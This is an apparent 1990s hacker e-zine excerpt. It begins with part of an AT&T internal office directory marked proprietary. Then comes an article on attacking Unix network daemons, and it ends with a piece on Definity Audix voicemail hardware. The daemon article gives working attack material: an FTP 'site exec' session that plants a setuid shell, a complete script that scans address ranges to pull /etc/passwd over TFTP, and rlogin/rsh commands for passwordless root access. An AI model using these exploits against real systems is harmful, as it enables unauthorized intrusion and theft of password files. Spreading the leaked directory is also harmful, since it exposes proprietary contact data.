DALLAS WORKS 3000 SKYLINE DRIVE MESQUITE TX 75149 214-284-2000
|
|||
|
|
AT&T-NS 1201 MAIN ST. SUITE 2555 DALLAS TX 75202 214-745-4790
|
|||
|
|
AT&T 5525 LBJ FREEWAY DALLAS TX 75240 214-308-2000
|
|||
|
|
AT&T 2501 PARKVIEW DR., SUITE 200 FT.WORTH TX 76102 817-870-4400
|
|||
|
|
AT&T-NS 2900 N. LOOP WEST HOUSTON TX 77092 713-956-4400
|
|||
|
|
AT&T CITYVIEW 10999 IH 10 W SAN ANTON TX 78230 512-691-5700
|
|||
|
|
AT&T 5444 S. STAPLES CORPUS CHR TX 78411 512-994-4400
|
|||
|
|
AT&T 8911 CAP. OF TEX HGHWY AUSTIN TX 78759 512-343-3000
|
|||
|
|
AT&T 415 WEST 8TH ST. SUITE 307 AMARILLO TX 79101 806-374-9435
|
|||
|
|
AT&T-BMG 3000 N. GARFIELD SUITE 180 MIDLAND TX 79705 915-687-8700
|
|||
|
|
AT&T-NS 10521 ROSEHAVEN ST. FAIRFAX VA 22030 703-352-0900
|
|||
|
|
AT&T-NS 12450 FAIR LAKES CIRCLE FAIRFAX VA 22033 703-631-3288
|
|||
|
|
AT&T-BELL LABS 1201 S. HAYES ST. ARLINGTON VA 22202 703-769-8900
|
|||
|
|
AT&T 1550 WILSON BLVD. ARLINGTON VA 22209 703-247-4690
|
|||
|
|
AT&T FED SYS 1201 S. HAYES ST. ARLINGTON VA 22209 703-685-8678
|
|||
|
|
AT&T MAJOR MKT & SALES 600 EAST BROAD ST. RICHMOND VA 23219 804-775-3300
|
|||
|
|
AT&T OSO 1530 E. RUN RD. RICHMOND VA 23228 804-262-4062
|
|||
|
|
RICHMOND WORKS 4500 S. LABURNUM AVE. RICHMOND VA 23231 804-226-5000
|
|||
|
|
AT&T 1338 PLANTATION RD NE ROANOKE VA 24012 703-344-1160
|
|||
|
|
NEW RIVER VALLEY CALLER 21 RADFORD VA 24143 703-731-8000
|
|||
|
|
AT&T 2901 THIRD AVE. SEATTLE WA 98121 206-443-7000
|
|||
|
|
AT&T ACCT MGMT 2121 4TH AVE. SEATTLE WA 98121 206-728-4749
|
|||
|
|
AT&T N. 9 POST SUITE 330 SPOKANE WA 99201 509-747-6110
|
|||
|
|
AT&T 400 S. EXECUTIVE DR. BROOMFIELD WI 53005 414-785-9110
|
|||
|
|
MILWAUKEE CP/ASSEM.CTR MILWAUKEE WI 53212 414-963-8200
|
|||
|
|
AT&T 2802 INTERNAT'L LN, 2ND FLR MADISON WI 53704 608-241-8900
|
|||
|
|
AT&T 900 PENNSYLVANIA AVE. CHARLESTON WV 25302 304-347-2000
|
|||
|
|
MARTINSBURG MMC TABLER STA.RD. MARTINSBRG WV 25401 304-263-6931
|
|||
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|||
|
|
|
|||
|
|
And remember...
|
|||
|
|
|
|||
|
|
All directory information is classified AT&T Proprietary and, as such, should
|
|||
|
|
be safeguarded as outlined in GEI 2.2. Responsibility for security is passed
|
|||
|
|
on to each employee receiving the directory.
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
Playing with the Internet Daemons
|
|||
|
|
|
|||
|
|
by
|
|||
|
|
|
|||
|
|
Voyager [TNO]
|
|||
|
|
|
|||
|
|
|
|||
|
|
Internet hosts communicate with each other using either TCP
|
|||
|
|
(Transmission Control Protocol) or UDP (User Datagram Protocol) on top
|
|||
|
|
of IP (Internet Protocol). Other protocols are used on top of IP, but
|
|||
|
|
TCP and UDP are the ones that are of interest to us. On a Unix system,
|
|||
|
|
the file /etc/protocols will list the available protocols on your
|
|||
|
|
machine
|
|||
|
|
|
|||
|
|
On the Session Layer (OSI model) or the Internet Layer (DOD Protocol
|
|||
|
|
Model) data is moved between hosts by using ports. Each data
|
|||
|
|
communication will have a source port number and a destination port
|
|||
|
|
number. Port numbers can be divided into two types, well-known ports
|
|||
|
|
and dynamically allocated ports. Under Unix, well-known ports are
|
|||
|
|
defined in the file /etc/services. In addition, RFC (Request For
|
|||
|
|
Comments) 1700 "Assigned Numbers" provides a complete listing of all
|
|||
|
|
well-known ports. Dynamically allocated port numbers are assigned as
|
|||
|
|
needed by the system.
|
|||
|
|
|
|||
|
|
Unix provides the ability to connect programs called daemons to
|
|||
|
|
well-known ports. The remote computer will connect to the well-known
|
|||
|
|
port on the host computer, and be connected to the daemon program.
|
|||
|
|
|
|||
|
|
Daemon programs are traditionally started by inetd (The Internet
|
|||
|
|
Daemon). Daemon programs to be executed are defined in the inetd
|
|||
|
|
configuration file, /etc/inetd.conf.
|
|||
|
|
|
|||
|
|
Most of these daemons run as a priveledged user, often as root. Many of
|
|||
|
|
these programs have vulnerabilities which can be exploited to gain access
|
|||
|
|
to remote systems.
|
|||
|
|
|
|||
|
|
The daemons we are interested in are:
|
|||
|
|
|
|||
|
|
Service Port Number Description
|
|||
|
|
~~~~~~~~~~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|||
|
|
ftp 21 File Transfer [Control]
|
|||
|
|
smtp 25 Simple Mail Transfer Protocol
|
|||
|
|
tftp 69 Trivial File Transfer Protocol
|
|||
|
|
finger 79 Finger
|
|||
|
|
www-http 80 World Wide Web HTTP
|
|||
|
|
sunrpc 111 SUN Remote Procedure Call
|
|||
|
|
fln-spx 221 Berkeley rlogind with SPX auth
|
|||
|
|
rsh-spx 222 Berkeley rshd with SPX auth
|
|||
|
|
netinfo 716-719 NetInfo
|
|||
|
|
ibm-res 1405 IBM Remote Execution Starter
|
|||
|
|
nfs 2049 Network File System
|
|||
|
|
x11 6000-6063 X Window System
|
|||
|
|
|
|||
|
|
rcp/rshd Remote Copy/Remote Shell Daemon
|
|||
|
|
nis Network Information Services
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
The next part of this article will focus on specific daemons and their
|
|||
|
|
known vulnerabilities. The vulnerabilities with brief explanations will be
|
|||
|
|
explained here. For the more complicated exploits, which are beyond the
|
|||
|
|
scope of a concise article, more research will be required on the part of
|
|||
|
|
the reader.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> ftp 21 File Transfer [Control]
|
|||
|
|
|
|||
|
|
FTP is the File Transfer Protocol. FTP requests are answered by the FTP
|
|||
|
|
daemon, ftpd. wuarchive's ftpd versions below 2.2 have a vulnerability
|
|||
|
|
where you can execute any binary you can see with the 'site exec'
|
|||
|
|
command by calling it with a relative pathname with "../" at the
|
|||
|
|
beginning. Here is a sample exploit:
|
|||
|
|
|
|||
|
|
Login to the system via ftp:
|
|||
|
|
|
|||
|
|
220 uswest.com FTP server (Version wu-2.1(1) ready.
|
|||
|
|
Name (uswest.com:waltman): waltman
|
|||
|
|
331 Password required for waltman.
|
|||
|
|
Password: jim
|
|||
|
|
230 User waltman logged in.
|
|||
|
|
Remote system type is UNIX.
|
|||
|
|
Using binary mode to transfer files.
|
|||
|
|
ftp> quote "site exec cp /bin/sh /tmp/.tno"
|
|||
|
|
200-cp /bin/sh /tmp/tno
|
|||
|
|
ftp> quote "site exec chmod 6755 /tmp/.tno"
|
|||
|
|
200-chmod 6755 /tmp/tno
|
|||
|
|
ftp> quit
|
|||
|
|
221 Goodbye.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> smtp 25 Simple Mail Transfer Protocol
|
|||
|
|
|
|||
|
|
Mail attacks are one of the oldest known methods of attacking Internet
|
|||
|
|
hosts. The most common mail daemon, and least secure, is sendmail. Other
|
|||
|
|
mail daemons include smail, MMDF,and IDA sendmail. Sendmail has had too
|
|||
|
|
many vulnerabilities to list them all. There is an entire FAQ written
|
|||
|
|
specifically on sendmail vulnerabilities, therefore we will not cover them
|
|||
|
|
heavily here.
|
|||
|
|
|
|||
|
|
One well known vulnerability, useful only for historical purposes, is
|
|||
|
|
"Wizard Mode." In Wizard mode you could request a shell via Port 25
|
|||
|
|
(The SMTP port). No modern system will be vulnerable to this attack. To
|
|||
|
|
exploit this vulnerability, you telnetted to port 25, typed WIZ to enter
|
|||
|
|
Wizard mode, and entered the password. The problem related to the way
|
|||
|
|
the encrypted password was stored. There was a bug that caused the
|
|||
|
|
system to believe that no password was as good as the real password.
|
|||
|
|
|
|||
|
|
To quote Steven Bellovin:
|
|||
|
|
|
|||
|
|
The intended behavior of wizard mode was that if you supplied
|
|||
|
|
the right password, some other non-standard SMTP commands were
|
|||
|
|
enabled, notably one to give you a shell. The hashed password
|
|||
|
|
-- one-way encrypted exactly as per /etc/passwd -- was stored in
|
|||
|
|
the sendmail configuration file. But there was this bug; to
|
|||
|
|
explain it, I need to discuss some arcana relating to sendmail
|
|||
|
|
and the C compiler.
|
|||
|
|
|
|||
|
|
In order to save the expense of reading and parsing the
|
|||
|
|
configuration file each time, sendmail has what's known as a
|
|||
|
|
``frozen configuration file''. The concept is fine; the
|
|||
|
|
implementation isn't. To freeze the configuration file,
|
|||
|
|
sendmail just wrote out to disk the entire dynamic memory area
|
|||
|
|
(used by malloc) and the `bss' area -- the area that took up no
|
|||
|
|
space in the executable file, but was initialized to all zeros
|
|||
|
|
by the UNIX kernel when the program was executed. The bss area
|
|||
|
|
held all variables that were not given explicit initial values
|
|||
|
|
by the C source. Naturally, when delivering mail, sendmail just
|
|||
|
|
read these whole chunks back in, in two giant reads. It was
|
|||
|
|
therefore necessary to store all configuration file information
|
|||
|
|
in the bss or malloc areas, which demanded a fair amount of care
|
|||
|
|
in coding.
|
|||
|
|
|
|||
|
|
The wizard mode password was stored in malloc'ed memory, so it
|
|||
|
|
was frozen properly. But the pointer to it was explicitly set
|
|||
|
|
to NULL in the source:
|
|||
|
|
|
|||
|
|
char *wiz = NULL;
|
|||
|
|
|
|||
|
|
That meant that it was in the initialized data area, *not* the
|
|||
|
|
bss. And it was therefore *not* saved with the frozen
|
|||
|
|
configuration. So -- when the configuration file is parsed and
|
|||
|
|
frozen, the password is read, and written out. The next time
|
|||
|
|
sendmail is run, though, the pointer will be reset to NULL.
|
|||
|
|
(The password is present, of course, but there's no way to find
|
|||
|
|
it.) And the code stupidly believed in the concept of no
|
|||
|
|
password for the back door.
|
|||
|
|
|
|||
|
|
One more point is worth noting -- during testing, sendmail did
|
|||
|
|
the right thing with wizard mode. That is, it did check the
|
|||
|
|
password -- because if you didn't happen to do the wizard mode
|
|||
|
|
test with a frozen configuration file -- and most testing would
|
|||
|
|
not be done that way, since you have to refreeze after each
|
|||
|
|
compilation -- the pointer would be correct.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> tftp 69 Trivial File Transfer Protocol
|
|||
|
|
|
|||
|
|
tftp is the Trivial File Transfer Protocol. tftp is most often used to
|
|||
|
|
attempt to grab password files from remote systems. tftp attacks are so
|
|||
|
|
simple and repetitive that scripts are written to automate the process
|
|||
|
|
of attacking entire domains. Here is one such script:
|
|||
|
|
|
|||
|
|
#!/bin/sh
|
|||
|
|
########################################################################
|
|||
|
|
# TFTP snagger by Yo
|
|||
|
|
# It snags /etc/passwd files from all hosts with open 69 (tftp) port.
|
|||
|
|
# scans all hosts from XX.XX.0.0 - XX.XX.255.255
|
|||
|
|
# you can run it in the background in following way:
|
|||
|
|
# snag [hostname] > /dev/null &
|
|||
|
|
# [hostname] might be used IP # (with -ip option) as well as FQDN
|
|||
|
|
# Last Updated 10/20/92
|
|||
|
|
#
|
|||
|
|
# Highly modified by ThePublic on 10/21/92
|
|||
|
|
########################################################################
|
|||
|
|
case $1 in
|
|||
|
|
'')
|
|||
|
|
echo " Usage: $0 [hostname] to run in the foreground "
|
|||
|
|
echo " $0 [hostname] > /dev/null & to run in the background "
|
|||
|
|
echo " The [hostname] can be specialized in fully qualified domain name "
|
|||
|
|
echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain. "
|
|||
|
|
echo " as well as IP with -ip option. "
|
|||
|
|
exit 1
|
|||
|
|
;;
|
|||
|
|
-ip)
|
|||
|
|
if [ $2x = x ]; then
|
|||
|
|
echo " Usage: $0 $1 the IP "
|
|||
|
|
exit 1
|
|||
|
|
else
|
|||
|
|
x=`echo $2 | cut -d. -f1`
|
|||
|
|
xx=`echo $2 | cut -d. -f2`
|
|||
|
|
xxx=`echo $2 | cut -d. -f3`
|
|||
|
|
xxxx=`echo $2 | cut -d. -f4`
|
|||
|
|
# ^ field delimiter is '.' -- get field 1/2/3/4
|
|||
|
|
fi;;
|
|||
|
|
*)
|
|||
|
|
if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then
|
|||
|
|
# -x is for SunOs
|
|||
|
|
echo sorry dude, no nslookup server .. try it with -ip option.
|
|||
|
|
exit 1
|
|||
|
|
fi
|
|||
|
|
x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1`
|
|||
|
|
# ^ 7 chars ^ last line
|
|||
|
|
if [ "$x1" = '' ]; then
|
|||
|
|
echo " There is no such domain. Nothing to scan. Exit. "
|
|||
|
|
exit 1
|
|||
|
|
fi
|
|||
|
|
x=`echo $x1 | cut -d. -f1` # get the first set of #, ##, or ###
|
|||
|
|
xx=`echo $x1 | cut -d. -f2` # get the second set
|
|||
|
|
xxx=0 # ignore the rest, if any
|
|||
|
|
xxxx=0
|
|||
|
|
;;
|
|||
|
|
esac
|
|||
|
|
if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
|
|||
|
|
echo There is no such domain. Nothing to scan.
|
|||
|
|
exit 1
|
|||
|
|
fi
|
|||
|
|
while [ $x -ne 255 ]; do
|
|||
|
|
|
|||
|
|
while [ $xx -ne 255 ]; do
|
|||
|
|
while [ $xxx -ne 255 ]; do
|
|||
|
|
while [ $xxxx -ne 255 ]; do
|
|||
|
|
target=$x.$xx.$xxx.$xxxx
|
|||
|
|
trap "echo The Process was stopped at $target;rm -rf passwd.$target; exit 1" 2
|
|||
|
|
tftp << EOF
|
|||
|
|
c $target
|
|||
|
|
mode ascii
|
|||
|
|
trace
|
|||
|
|
get /etc/passwd passwd.$target
|
|||
|
|
quit
|
|||
|
|
EOF
|
|||
|
|
if [ ! -s passwd.$target ] ; then
|
|||
|
|
rm -rf passwd.$target
|
|||
|
|
echo `date` $target has rejected an attempt >> .info
|
|||
|
|
else
|
|||
|
|
mv passwd.$target .good.$target
|
|||
|
|
echo `date` $target is taken, all data is stored in .good.$target file >> .info
|
|||
|
|
fi
|
|||
|
|
xxxx=`expr $xxxx + 1 `
|
|||
|
|
done
|
|||
|
|
xxxx=0
|
|||
|
|
xxx=`expr $xxx + 1 `
|
|||
|
|
done
|
|||
|
|
xxx=0
|
|||
|
|
xx=`expr $xx + 1 `
|
|||
|
|
done
|
|||
|
|
xx=0
|
|||
|
|
x=`expr $x + 1 `
|
|||
|
|
done
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> finger 79 Finger
|
|||
|
|
|
|||
|
|
The finger command displays information about another user, such as login
|
|||
|
|
name, full name, terminal name, idle time, login time, and location if
|
|||
|
|
known. finger requests are answered by the fingerd daemon.
|
|||
|
|
|
|||
|
|
Robert Tappan Morris's Internet Worm used the finger daemon. The finger
|
|||
|
|
daemon allowed up to 512 bytes from the remote machine as part of the
|
|||
|
|
finger request. fingerd, however, suffered from a buffer overflow bug
|
|||
|
|
caused by a lack proper bounds checking. Anything over 512 got
|
|||
|
|
interpreted by the machine being fingered as an instruction to be
|
|||
|
|
executed locally, with whatever privileges the finger daemon had.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> www-http 80 World Wide Web HTTP
|
|||
|
|
|
|||
|
|
HTML (HyperText Markup Language) allows web page user to execute
|
|||
|
|
programs on the host system. If the web page designer allows the web
|
|||
|
|
page user to enter arguments to the commands, the system is vulnerable
|
|||
|
|
to the usual problems associated with system() type calls. In addition,
|
|||
|
|
there is a vulnerability that under some circumstances will give you an
|
|||
|
|
X-Term using the UID that the WWW server is running under.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> sunrpc 111 SUN Remote Procedure Call
|
|||
|
|
|
|||
|
|
Sun RPC (Remote Procedure Call) allows users to execute procedures on
|
|||
|
|
remote hosts. RPC has suffered from a lack of secure authentification.
|
|||
|
|
To exploit RPC vulnerabilities, you should have a program called "ont"
|
|||
|
|
which is not terribly difficult to find.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> login 513 Remote login
|
|||
|
|
|
|||
|
|
Some versions of AIX and Linux suffer from a bug in the way that
|
|||
|
|
rlogind reads arguments. To exploit this vulnerability, issue this
|
|||
|
|
command from a remote system:
|
|||
|
|
|
|||
|
|
rlogin host -l -froot
|
|||
|
|
|
|||
|
|
Where host is the name of the target machine and username is the username
|
|||
|
|
you would like to rlogin as (usully root). If this bug exists on the
|
|||
|
|
hosts system, you will be logged in, without being asked for a password.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> rsh-spx 222 Berkeley rshd with SPX auth
|
|||
|
|
|
|||
|
|
Some versions of Dynix and Irix have a bug in rshd that allows you to
|
|||
|
|
run commands as root. To exploit this vulnerability, issue this command
|
|||
|
|
from the remote system:
|
|||
|
|
|
|||
|
|
rsh host -l "" /bin/sh
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> netinfo 716-719 NetInfo
|
|||
|
|
|
|||
|
|
NeXT has implemented a protocol known as NetInfo so that one NeXT
|
|||
|
|
machine can query another NeXT machine for information. A NetInfo
|
|||
|
|
server will by default allow unrestricted access to system databases.
|
|||
|
|
This can be fixed by the System Administrator. One of the pieces of
|
|||
|
|
information netinfo will give up is the password file.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> ibm-res 1405 IBM Remote Execution Starter
|
|||
|
|
|
|||
|
|
rexd (the remote execution daemon) allows you to execute a program on
|
|||
|
|
another Unix machine. AIX, NeXT and HPUX versions of rexd have suffered
|
|||
|
|
from a vulnerability allowing unintended remote execution. The rexd
|
|||
|
|
daemon checks your uid on the machine you are coming from, therefore you
|
|||
|
|
must be root on the machine you are mounting the rexd attack from. To
|
|||
|
|
determine if your target machine is running rexd, use the 'rcp -p
|
|||
|
|
<target>' command. You will also need the exploit program known as 'on'
|
|||
|
|
which is available on fine H/P boards everywhere.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> nfs 2049 Network File System
|
|||
|
|
|
|||
|
|
NFS, the Network File System, from Sun Microsystems has suffered from
|
|||
|
|
multiple security vulnerabilities. In addition, many system
|
|||
|
|
administrators configure NFS incorrectly, allowing unintended remote
|
|||
|
|
access.
|
|||
|
|
|
|||
|
|
Using the command 'showmount -e <target>' you can view what file systems
|
|||
|
|
are exported from a machine. Many administrators allow read access to
|
|||
|
|
the /etc directory, allowing you to copy the password file. Other
|
|||
|
|
administrators allow write access to user directories, allowing you to
|
|||
|
|
create .rhosts files and gain access to the machine via rlogin or rsh.
|
|||
|
|
|
|||
|
|
In addition to configuration issues, NFS is vulnerable to attacks using
|
|||
|
|
a uid masking bug, a mknod bug, and a general file handle guessing
|
|||
|
|
attack. Several hacked versions of the mount command have been written
|
|||
|
|
to exploit known vulnerabilities.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> x11 6000-6063 X Window System
|
|||
|
|
|
|||
|
|
X-Windows has suffered and currently suffers from numerous
|
|||
|
|
vulnerabilities. One vulnerability allows you to access another users
|
|||
|
|
display, another allows you to view another users keystrokes. Another
|
|||
|
|
vulnerability allows a remote attacker to run every program that the
|
|||
|
|
root user starts in his or her .xsession file. Yet another X-Windows
|
|||
|
|
vulnerability allows a local user to create a root entry in the
|
|||
|
|
/etc/passwd file.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> rcp
|
|||
|
|
|
|||
|
|
The SunOS 4.0.x rcp utility can be exploited by any trusted host listed
|
|||
|
|
in /etc/hosts.equiv or /.rhosts. To exploit this hole you must be
|
|||
|
|
running NFS (Network File System) on a Unix system or PC/NFS on a DOS
|
|||
|
|
system.
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> NIS
|
|||
|
|
|
|||
|
|
Sun's NIS (Network Information Service) also known as yp (Yellow Pages)
|
|||
|
|
has a vulnerability where you can request an NIS map from another NIS
|
|||
|
|
domain if you know the NIS domain name of the target system. There is
|
|||
|
|
no way to query a remote system for it's NIS domainname, but many NIS
|
|||
|
|
domain names are easily guessable. The most popular NIS map to request
|
|||
|
|
is passwd.byname, the NIS implementation of /etc/passwd. In addition,
|
|||
|
|
if you have access to a diskless Unix workstation, you can determine the
|
|||
|
|
NIS domain name of the server it boots from.
|
|||
|
|
|
|||
|
|
+--------------------------------------------------------+
|
|||
|
|
+ Do not confuse NIS domain names with DNS domain names! |
|
|||
|
|
+--------------------------------------------------------+
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
--> Other attacks
|
|||
|
|
|
|||
|
|
In addition to these daemon based attacks, many other methods can be
|
|||
|
|
used to gain access to a remote computer. These include, but are not
|
|||
|
|
limited to: default accounts, password guessing, sniffing, source
|
|||
|
|
routing, DNS routing attacks, tcp sequence prediction and uucp
|
|||
|
|
configuration exploits.
|
|||
|
|
|
|||
|
|
This should give you an idea on how daemon based attacks function. By
|
|||
|
|
no means is this a complete list of security vulnerabilities in
|
|||
|
|
privileged internet daemons. To discover more information about how
|
|||
|
|
these daemons operate, and how to exploit their vulnerabilities, I
|
|||
|
|
highly recommend reading source code, man pages and RFC's.
|
|||
|
|
|
|||
|
|
|
|||
|
|
Voyager[TNO]
|
|||
|
|
|
|||
|
|
|
|||
|
|
<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>=<CoTNo>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
[][][][][][][][][][][][][][][][][][][][][][]
|
|||
|
|
[[[ ]]]
|
|||
|
|
[[[[ THE DEFINITY AUDIX VMS INSIDE OUT ]]]]
|
|||
|
|
[[[[[ ]]]]]
|
|||
|
|
[[[[[[[ by: Boba Fett ]]]]]]]
|
|||
|
|
[[[[[[[[[[[ ]]]]]]]]]]]
|
|||
|
|
[][][][][][][][][][][][][][][][][][][][][][]
|
|||
|
|
|
|||
|
|
|
|||
|
|
- " What?! Another crummy file on the Audix voice mail? "
|
|||
|
|
|
|||
|
|
Not exactly. In COTNO #1, you will find a good article on identifying and
|
|||
|
|
obtaining mailboxes on the Audix Voice Mail System (VMS). This paper will
|
|||
|
|
discuss the physical/electrical design of the Audix System and how it's
|
|||
|
|
integrated with the Definity switch. I will not discuss how to obtain
|
|||
|
|
dialups to the audix or hacking it, that's another file :). Most of the
|
|||
|
|
information and diagrams in this paper where gathered from various sources.
|
|||
|
|
Mainly, the AT&T Tech. Journal may/june 1994, and some very cooperative AT&T
|
|||
|
|
representatives. ;)
|
|||
|
|
|
|||
|
|
|
|||
|
|
1) Hardware
|
|||
|
|
-----------
|
|||
|
|
|
|||
|
|
All right, what does this baby look like? Well, all in all, it's quite simple.
|
|||
|
|
There are 4 major components, all of which can be easily replaced or removed.
|
|||
|
|
A tape drive, a hard disk and 2 circuit boards. Here's what the Definity Audix's
|
|||
|
|
front panel looks like.
|
|||
|
|
|
|||
|
|
|
|||
|
|
Disk/Alarm board MFB panel
|
|||
|
|
|
|||
|
|
.---------------------.__.-----.
|
|||
|
|
| _______________ | | |
|
|||
|
|
| | | | | o <----- Red LED
|
|||
|
|
| | | | | |
|
|||
|
|
| | ||| | | | O <---------- "Enter/yes" Button
|
|||
|
|
| | ||| | | | __ |
|
|||
|
|
Tape ----->| |||| | | | || |
|
|||
|
|
Unit | | |||| | | | || |
|
|||
|
|
| | ||| | | | || <----- Alphanumeric liquid
|
|||
|
|
| | ||| | | | || | crystal display(10 character)
|
|||
|
|
| | ||| | | | -- |
|
|||
|
|
| --------------- | | O <---- "Next/no" button
|
|||
|
|
| | | |
|
|||
|
|
| | | |
|
|||
|
|
Boot/ -----------------> O | | O <---- "Back" button
|
|||
|
|
shutdown | | |Back |
|
|||
|
|
button | .--------. | | |
|
|||
|
|
| | Some | | | |
|
|||
|
|
| | stupid | _ | | _ |
|
|||
|
|
| | warning| | | | | | <-------------- Handles/
|
|||
|
|
| | label. | | | | | | | | / latch
|
|||
|
|
| |________| | <----------------
|
|||
|
|
.________________|_|__|--|_|_|_|
|
|||
|
|
|
|||
|
|
|
|||
|
|
As you can see, it consists of two boards: The multifunction board (right), and
|
|||
|
|
the disk/alarm board (left).
|
|||
|
|
|
|||
|
|
o MFB major components:
|
|||
|
|
|
|||
|
|
- A 386 processor (supports Unix System V) with 16 megs of dynamic
|
|||
|
|
RAM (DRAM).
|
|||
|
|
- An array of six 50 mhz digital signal processors (DSPs).
|
|||
|
|
- The Definity switch time-division multiplexed (TDM) bus interface.
|
|||
|
|
- An alarm monitoring processor. :(
|
|||
|
|
|
|||
|
|
o D/ALB major components:
|
|||
|
|
|
|||
|
|
- A tape drive
|
|||
|
|
- A Hard Drive
|
|||
|
|
- An online modem for REMOTE ALARM NOTIFICATION, AND REMOTE MAINTENANCE.
|
|||
|
|
|
|||
|
|
|
|||
|
|
The modem is included with the package. If the on-board modem does not
|
|||
|
|
comply with the local telco rules (for example foreign countries) , than
|
|||
|
|
through the RS-232 port an external one can be attached. Let's take a deeper
|
|||
|
|
look inside and see where the components go.
|
|||
|
|
|
|||
|
|
.--------------------------------------.
|
|||
|
|
/| + Disk/Alarm Board + |__Tip/Ring
|
|||
|
|
.--------. / | .------------------remote acs ports--|___RS-232
|
|||
|
|
| | / | | |
|
|||
|
|
| | / | | .------|--------|--------Ethernet----- LAN
|
|||
|
|
|S | / | | | Tape System Disk controller|
|
|||
|
|
|W | / |_|__|_________________________________|
|
|||
|
|
|I |/ |-|--|---------------------------------|
|
|||
|
|
|T|======| | | | + Multifunction Board + |
|
|||
|
|
|C| Audix| | | | |
|
|||
|
|
|H|======| | | | /============== RS-232
|
|||
|
|
| |\ | | SCSI 386 Serial Data Packet |
|
|||
|
|
|________| \ | | Interface CPU async/sync. bus |--- Packet
|
|||
|
|
\ | | -|-----------|-------|------inter- | Bus
|
|||
|
|
\ | | | 16 Meg DMA face |
|
|||
|
|
\ | Faceplate RAM | \ | |
|
|||
|
|
\ | & Control | \ TDM |
|
|||
|
|
\ | 3 DSP 32Cs---Interface|--- TD bus
|
|||
|
|
\______________________________________|
|
|||
|
|
|
|||
|
|
|
|||
|
|
o Explanation of some terms:
|
|||
|
|
|
|||
|
|
CPU: Central Processing Unit
|
|||
|
|
DSP: Digital Signal Processor
|
|||
|
|
TDM: Time-Division Multiplexed
|
|||
|
|
DMA: Direct Memory Access
|
|||
|
|
SCSI: Small Computer System Interface
|
|||
|
|
|
|||
|
|
The Definity Audix VMS is so compact because it has to fit in the Definity
|
|||
|
|
PBX's port slot. It can: detect a incoming call, detect when the caller has
|
|||
|
|
disconnected, disconnect a call on ANY port. It can also, disable any port to
|
|||
|
|
prevent it from receiving incoming calls, and most important of all, it can
|
|||
|
|
originate outgoing calls. It is also good to know that it has CLID.
|
|||
|
|
Here's a list of it's functions:
|
|||
|
|
|
|||
|
|
- Call History Information (Called Party ID,Calling party ID and
|
|||
|
|
reason for call).
|
|||
|
|
- Integrated message waiting notification (LED).
|
|||
|
|
- Disconnect message (Contact Administrator for help, please disconnect
|
|||
|
|
goodbye).
|
|||
|
|
- Message waiting status information (Updated on activity, Audit of
|
|||
|
|
each vmb and refresh of all vmbs).
|
|||
|
|
- Maintenance info. for link.
|
|||
|
|
- Audix control of port. (disconnect call, detect caller, etc..)
|
|||
|
|
|
|||
|
|
I've been referring to it as the Definity Audix, and not just Audix. Audix,
|
|||
|
|
(aka Audix release 1), was first introduced in 1984. The Definity Audix,
|
|||
|
|
however, was introduced in 1992, and came with a series of more advanced
|
|||
|
|
features. For example, the time scale modification option was improved, allowing
|
|||
|
|
the playback of messages at slower or faster speeds. Or the speech
|
|||
|
|
encoder/decoder algorithm which was changed resulting in better sound quality
|
|||
|
|
(so they say). How can you tell if it's a Definity when calling it remotely?
|
|||
|
|
Well, quite frankly I'm not sure. There is a way, however, it isn't very easy to
|
|||
|
|
apply. The Audix, release 1 system takes approx. 1 second to detect your DTMF
|
|||
|
|
tones. Now, the Definity, on the other hand, takes only about 25 milliseconds,
|
|||
|
|
less than half the time. You can time the reaction, and figure out what your
|
|||
|
|
dealing with, but there are many things that can affect the response time also
|
|||
|
|
(for example, the amount of people using the voice mail). As you can see
|
|||
|
|
this method isn't very reliable.
|
|||
|
|
|
|||
|
|
2) Software
|
|||
|
|
-----------
|
|||
|
|
|
|||
|
|
The system software resides on a single 160 meg casettee tape. It is loaded
|
|||
|
|
on the hard disk whenever an installation or upgrade is being performed.
|
|||
|
|
There is also a big part of the code, which constantly monitors multiple
|
|||
|
|
thermal sensors on the two circuit packs, making sure that they don't over
|
|||
|
|
heat.
|
|||
|
|
|
|||
|
|
The chick's sweet voice you hear when interacting with the VMS, is composed
|
|||
|
|
of multiple fragments. A fragment can be a single word, a complete sentence,
|
|||
|
|
or a bunch of sentences. For example, "Please enter extension and pound sign"
|
|||
|
|
is most likely to be two fragments. The first being "please enter extension"
|
|||
|
|
and the second being "and pound sign". Obviously, this is used to save space.
|
